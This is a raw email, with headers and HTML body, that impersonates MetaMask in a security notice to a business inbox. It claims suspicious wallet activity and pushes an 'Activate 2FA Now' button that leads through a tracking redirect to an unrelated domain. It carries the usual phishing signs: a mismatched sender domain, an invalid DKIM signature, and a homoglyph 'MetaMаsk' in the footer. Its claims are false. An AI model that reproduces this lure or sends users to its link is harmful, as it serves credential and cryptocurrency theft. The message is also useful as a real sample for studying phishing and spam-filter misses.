Return-Path: <postmaster@94bbebbc1c.nxcli.io>
Delivered-To: info@tictactocsaintcanut.com
Received: from cl-t211-187cl.majeunesse.ca
	by cl-t211-187cl.majeunesse.ca with LMTP
	id eCQ3GP/lGGklGgAAV5eKQw
	(envelope-from <postmaster@94bbebbc1c.nxcli.io>)
	for <info@tictactocsaintcanut.com>; Sat, 15 Nov 2025 15:43:43 -0500
Return-path: <postmaster@94bbebbc1c.nxcli.io>
Envelope-to: info@tictactocsaintcanut.com
Delivery-date: Sat, 15 Nov 2025 15:43:43 -0500
Received: from cloudhost-10309519.us-midwest-1.nxcli.net ([209.87.149.2]:35186)
	by cl-t211-187cl.majeunesse.ca with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.96.2)
	(envelope-from <postmaster@94bbebbc1c.nxcli.io>)
	id 1vKN7Z-0001l9-0K
	for info@tictactocsaintcanut.com;
	Sat, 15 Nov 2025 15:43:43 -0500
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=94bbebbc1c.nxcli.io;
  b=xEAaWGLGWT8xc62uUaP0OxLlj3gbQen7HQjHZ96YuJlh94ud0qKJeqDSrYUM37xj69qxpz7zcZYsoyHMEUnw3iCMMVQbdhmlul4YcFdDQru3DIJXXSfh+zDUr3VkqtviAVf+/Fkr+1BSMi3d6EY3jwdizpeVqpdve0ZMYY9M/uq1HS3rkzwHMo88J0a9SekAVLo59NSiwLRpF7KjV1ow3ddPWFphS2CJGAlcwe/+01uiYZnLF49aHxtnCFrV3gpZBnH3mhibBUXCRliyM/ExyNmpdXTp+gbobIRHOF7EGsDjHqXvRnDVHWMkMi8/2nNfUGk+gQufZrCiT8PdU/Ke8Q==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=94bbebbc1c.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type:list-unsubscribe; s=default; bh=00HfoNpiRChVWXkJnW
	wT4z3Xk8P4LAzvMnfs3CXAWEE=; b=rZm3s1Kt4JNoV5MoB4zjDvZih0tfgFYXXZ
	28MqFK0gHt2IXSaUVkOIqEFGgNhE27v7nM/5oanso6a6uhvTaf1mwDibFWktvyc3
	g9wB+OGLQPrW3qiw8x8r2pg5IgcrhQWC5N+OkLzAwvfm7zRBwW7cbGEf+fHQUNjl
	v2GXMnqvO9Vm3cCav37KVxY7DhdgCigLbvGfNW7yu8r0NkqSNdqjeOGUQMuWXbcy
	7PJNQhXzTBpecfQsHxlTeXnt36Lj07ungqNAjlRD/AFPHGW9fPwB7ylyoWfDwflt
	hT+w4To0T0qPrIS4yrx3rJf1cG3pQSTROc5E7rVmuYnT2uCfaWsQ==
Received: (qmail 26629 invoked by uid 10086); 15 Nov 2025 20:42:40 +0000
Date: 15 Nov 2025 20:42:40 +0000
Message-ID: <20251115204240.26622.qmail@cloudhost-10309519.us-midwest-1.nxcli.net>
To: info@tictactocsaintcanut.com
Subject: Urgent: Account Verification Required
X-PHP-Originating-Script: 10086:done.php
From: "BlockchainNotifier" <a5b5ty3r@qog.io>
Reply-To: a5b5ty3r@qog.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
List-Unsubscribe: <mailto:unsubscribe@a5b5ty3r@qog.io>
X-Spam-Status: No, score=1.7
X-Spam-Score: 17
X-Spam-Bar: +
X-Ham-Report: Spam detection software, running on the system "cl-t211-187cl.majeunesse.ca",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Security Notice We've detected suspicious behavior linked
    to your wallet. To enhance security, we recommend activating Two-Factor Authentication
    (2FA). 2FA helps protect your assets even if someone knows your password.
    
 Content analysis details:   (1.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: metamask.io]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [209.87.149.2 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [209.87.149.2 listed in sa-trusted.bondedsender.org]
  0.1 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
                             mail domains are different
  1.3 HTML_IMAGE_ONLY_24     BODY: HTML: images with 2000-2400 bytes of
                             words
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
X-Spam-Flag: NO


<!DOCTYPE html>
<html lang="en">
<p>&nbsp;</p>
<table style="max-width: 600px; margin: 40px auto; background: #ffffff; border: 1px solid #dddddd; border-radius: 8px; width: 100%;" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="padding: 20px; text-align: center; width: 100%;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT3ymr3UNKopfI0NmUY95Dr-0589vG-91KuAA&amp;s" alt="MetaMask Logo and Brand Assets, The Leading Crypto Wallet" width="94" height="91" /><br />
<h2 style="color: #f6851b; font-size: 18px; margin: 10px 0 0;">&nbsp;Security Notice</h2>
</td>
</tr>
<tr>
<td style="padding: 20px; font-size: 15px; line-height: 1.6; width: 100%;">
<p>We've detected suspicious behavior linked to your wallet. To enhance security, we recommend activating Two-Factor Authentication (2FA).</p>
<p>2FA helps protect your assets even if someone knows your password.</p>
<div style="text-align: center; margin: 26px 0;"><a style="background: #f6851b; color: #fff; padding: 12px 20px; border-radius: 4px; text-decoration: none; font-weight: bold; display: inline-block;" href="https://track.pstmrk.it/3s/shopmailandlove.live%2F/g2Df/xWHBAQ/AQ/87bd68c0-f6c0-4e42-a5c7-ebe1f410d1a1/1/2rfihGNq1D?id=-4835375311238567422-5197">Activate 2FA Now</a></div>
<p>If you did not request this, no action is needed.</p>
</td>
</tr>
<tr>
<td style="padding: 20px 30px; text-align: center; color: #999999; font-size: 12px; line-height: 1.5; border-top: 1px solid #eeeeee; width: 100%;">
<p style="margin: 0 0 10px;">&copy; 2025 MetaMаsk. All rights reserved.</p>
<p style="margin: 0 0 10px;">MetaMask LLC | 123 Crypto Plaza, Suite 500<br />San Francisco, CA 94105, USA</p>
<p style="margin: 0 0 10px;"><a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Privacy Policy</a> | <a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Terms of Service</a> | <a style="color: #999; text-decoration: none; margin: 0 10px;" href="#">Help Center</a></p>
<p style="margin: 0;"><a style="color: #999; text-decoration: underline;" href="https://MetaMask.io/help">Unsubscribe</a> from security notifications</p>
<p style="margin: 10px 0 0; font-size: 11px; color: #ccc;">This is an automated security message. Please do not reply to this email.</p>
</td>
</tr>
</tbody>
</table>
